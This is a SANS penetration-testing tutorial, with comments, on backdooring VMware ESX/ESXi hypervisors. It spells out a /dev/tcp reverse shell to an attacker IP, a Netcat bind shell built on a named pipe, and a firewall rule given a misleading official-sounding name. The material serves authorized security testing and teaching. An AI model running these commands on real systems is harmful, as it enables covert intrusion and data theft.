SANS Penetration Testing

Setting up Backdoors and Reverse Shells on VMware Hypervisors

[Editor's Note: In this article, Dave Shackleford talks about how penetration testers can take advantage of some really useful capabilities of the Linux-derived and Linux-like structure of VMware's virtualization infrastructure to set up backdoors to access a VMware hypervisor machine. He covers some classic ESX stuff along with some techniques for the VMware ESXi hypervisor. It's a great application of some incredibly useful ideas. Thanks, Dave! -Ed.]

By Dave Shackleford

While many pen testers will undoubtedly come across virtualized systems, most will only encounter VMware hypervisor platforms like ESX and ESXi when testing internally or after pivoting internally from an external compromise. Another great way to come in contact with VMware hypervisors is to target the administrators themselves, usually through social engineering tactics.

But, as a professional penetration tester, why would you care to attack this virtual stuff? Well, aside from the benefits of "owning" the hypervisor itself (accessing management platforms, accessing storage infrastructure, exfiltrating virtual machine files, changing configuration, etc.), you may be able to use the hypervisor as a pivot point to access numerous sensitive areas of the network as well. All in all, this is a great target to focus on to demonstrate serious business risk in a target environment — letting penetration testers provide excellent value in helping improve the state of security.

Most organizations enable SSH on their VMware hypervisors for remote management and access. While the majority of VMware administrators use the vendor-provided client and management server most of the time, many also enable SSH for command-line access or a "safety net" for administration and control. This SSH access is usually only visible on a dedicated management network, so you may need to have access to this network before targeting the hypervisors themselves. If you can compromise credentials (or guess/brute force them) to access the hypervisor command line though, you can set up a nice backdoor shell using techniques covered in the SANS SEC504 and SEC560 courses!

For ESX, VMware's older hypervisor platform, you have a few more options available to you, since the ESX Service Console is based on Red Hat Enterprise Linux. This service console has /dev/tcp installed (which is just beautiful for attacking), so you can set up a simple reverse shell with the following command:

[root@esx]# /bin/bash -l > /dev/tcp/<your IP address>/<your port> 0<&1 2>&1

Set up a Netcat listener on your system and that reverse shell from the ESX server will connect right back. So, for example, you would set up a Netcat listener on your own machine at 10.10.10.10 on port 3333:

[root@attacker]# nc -l -p 3333

On the target ESX system, you would type the following:

[root@esx]# /bin/bash -l > /dev/tcp/10.10.10.10/3333 0<&1 2>&1

There is one hurdle, however. You will need to open an outbound firewall port on ESX first, unless you can use a common port like 80 or 443 that may already be allowed outbound. To open outbound TCP port 3333, type the following command ("vmservice" is an arbitrary port/service name you can assign the firewall rule... I've given it that name because it sounds innocuous and all official-like):

[root@esx]# esxcfg-firewall -o 3333,tcp,out,vmservice

That's it for ESX! So, what about ESXi, you ask? Well, the newer VMware platform is a little trickier, but also has some surprising hidden gems available to us! Opening a firewall rule takes a bit more effort, and this VMware KnowledgeBase article can get you started. Let's say you opened 31337 inbound this time, then on the ESXi platform, you would run the following:

[root@esxi]# mknod backpipe p

Here, we created a simple named pipe object to handle standard in and standard out. Now comes the biggest surprise! ESXi has a limited version of Netcat built right in! That's super convenient for penetration testers. Run the following to open a backdoor to a /bin/sh shell on port 3333:

[root@esxi]# /bin/sh 0<backpipe | nc -l 31337 1>backpipe

Then, on the attacker system, use a Netcat client to connect to the listener (in this example the ESXi IP address is 10.11.11.11), which has had a shell "attached" to it using our named pipe backdoor contraption above:

[root@attacker]# nc 10.11.11.12 31337

That should do it! In most cases you won't get a shell prompt, so just type commands. Be careful, of course, if and when you are making any changes to hypervisor platforms, that you ensure that they are in scope for your test scenario.

-Dave Shackleford
Sr. SANS Instructor and founder of Voodoo Security

4 Comments

Posted May 23, 2014 at 3:53 PM | Permalink | Reply

CG

think minor typo on ESXi example. shoudl be:
nc 10.11.11.12 31337
?

Posted May 24, 2014 at 11:00 AM | Permalink | Reply

Ed Skoudis

Good catch. I fixed it. ''"Ed.

Posted November 7, 2014 at 10:36 AM | Permalink | Reply

martin

Good post very useful
Just a question, is it possible to get a reverse shell in ESXi servers? The same as what you do with ESX?
I tested it but for some reason it doesn't work with the reverse one?
Could you clarify?
Thanks

Posted November 12, 2014 at 4:40 AM | Permalink | Reply

Shack

@martin-
Currently, ESXi does not support a reverse shell the same way you could do it on ESX platforms, at least not that I've found yet. Without /dev/tcp, it's much more difficult to create that outbound socket.

Post a Comment






Captcha


* Indicates a required field.